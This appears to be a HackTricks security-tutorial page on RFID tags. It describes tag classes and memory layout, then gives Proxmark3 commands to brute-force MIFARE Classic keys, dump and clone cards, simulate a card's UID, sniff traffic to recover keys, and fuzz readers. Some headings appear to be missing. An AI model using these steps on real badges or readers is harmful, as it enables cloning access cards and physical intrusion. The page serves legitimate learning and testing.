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**Radio Frequency Identification (RFID)** is the most popular short-range radio solution. It's usually used to store and transmit information that identifies an entity.
An RFID tag can rely on **its own power source (active)**, such as an embedded battery, or receive its power from the reading antenna using the current **induced from the received radio waves** (**passive**).
EPCglobal divides RFID tags into six categories. A tag in each category has all the capabilities listed in the previous category, making it backward compatible.
* **Class 0** tags are **passive** tags that operate in **UHF** bands. The vendor **preprograms** them at the production factory. As a result, you **can’t change** the information stored in their memory.
* **Class 1** tags can also operate in **HF** bands. In addition, they can be **written only once** after production. Many Class 1 tags can also process **cyclic redundancy checks** (CRCs) of the commands they receive. CRCs are a few extra bytes at the end of the commands for error detection.
* **Class 2** tags can be **written multiple times**.
* **Class 3** tags can contain **embedded sensors** that can record environmental parameters, such as the current temperature or the tag’s motion. These tags are **semi-passive**, because although they **have** an embedded power source, such as an integrated **battery**, they **can’t initiate** wireless **communication** with other tags or readers.
* **Class 4** tags can initiate communication with other tags of the same class, making them **active tags**.
* **Class 5** tags can provide **power to other tags and communicate with all the previous tag** classes. Class 5 tags can act as **RFID readers**.
An RFID tag’s memory usually stores four kinds of data: the **identification data**, which **identifies** the **entity** to which the tag is attached (this data includes user-defined fields, such as bank accounts); the **supplementary data**, which provides **further****details** regarding the entity; the **control data**, used for the tag’s internal **configuration**; and the tag’s **manufacturer data**, which contains a tag’s Unique Identifier (**UID**) and details regarding the tag’s **production**, **type**, and **vendor**. You’ll find the first two kinds of data in all the commercial tags; the last two can differ based on the tag’s vendor.
The ISO standard specifies the Application Family Identifier (**AFI**) value, a code that indicates the **kind of object** the tag belongs to. Another important register, also specified by ISO, is the Data Storage Format Identifier(**DSFID**), which defines the **logical organization of the user data**.
Most RFID **security controls** have mechanisms that **restrict** the **read** or **write** operations on each user memory block and on the special registers containing the AFI and DSFID values. These **lock****mechanisms** use data stored in the control memory and have **default passwords** preconfigured by the vendor but allow the tag owners to **configure custom passwords**.
For example key cards that employees use to open doors. These devices rely on **passive****RFID** technology and operate in a **range of 30 kHz to 300 kHz**, although it's more usual to use 125 kHz to 134 kHz.
The first thing you need to do is to have a [**Proxmark3**](https://proxmark.com) and [**install the software and it's dependencie**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
It has **16 sectors**, each of them has **4 blocks** and each block contains **16B**. The UID is in sector 0 block 0 (and can't be altered).\
To access each sector you need **2 keys** (**A** and **B**) which are stored in **block 3 of each sector** (sector trailer). The sector trailer also stores the **access bits** that give the **read and write** permissions on **each block** using the 2 keys.\
2 keys are useful to give permissions to read if you know the first one and write if you know the second one (for example).
Several attacks can be performed
```bash
proxmark3> hf mf #List attacks
proxmark3> hf mf chk *1 ? t ./client/default_keys.dic #Keys bruteforce
proxmark3> hf mf fchk 1 t # Improved keys BF
proxmark3> hf mf rdbl 0 A FFFFFFFFFFFF # Read block 0 with the key
proxmark3> hf mf rdsc 0 A FFFFFFFFFFFF # Read sector 0 with the key
proxmark3> hf mf dump 1 # Dump the information of the card (using creds inside dumpkeys.bin)
proxmark3> hf mf restore # Copy data to a new card
proxmark3> hf mf eload hf-mf-B46F6F79-data # Simulate card using dump
proxmark3> hf mf sim *1 u 8c61b5b4 # Simulate card using memory
proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to block 1
proxmark3> hf mf eget 01 # Read block 1
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
```
The Proxmark3 allows to perform other actions like **eavesdropping** a **Tag to Reader communication** to try to find sensitive data. In this card you could just sniff the communication with and calculate the used key because the **cryptographic operations used are weak** and knowing the plain and cipher text you can calculate it (`mfkey64` tool).
proprietary non iso14443-4 card found, RATS not supported
No chinese magic backdoor command detected
Prng detection: WEAK
Valid ISO14443A Tag Found - Quiting Search
```
With this information you could try to search information about the card and about the way to communicate with it. Proxmark3 allows to send raw commands like: `hf 14a raw -p -b 7 26`
The Proxmark3 software comes with a preloaded list of **automation scripts** that you can use to perform simple tasks. To retrieve the full list, use the `script list` command. Next, use the `script run` command, followed by the script’s name:
```
proxmark3> script run mfkeys
```
You can create a script to **fuzz tag readers**, so copying the data of a **valid card** just write a **Lua script** that **randomize** one or more random **bytes** and check if the **reader crashes** with any iteration.
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
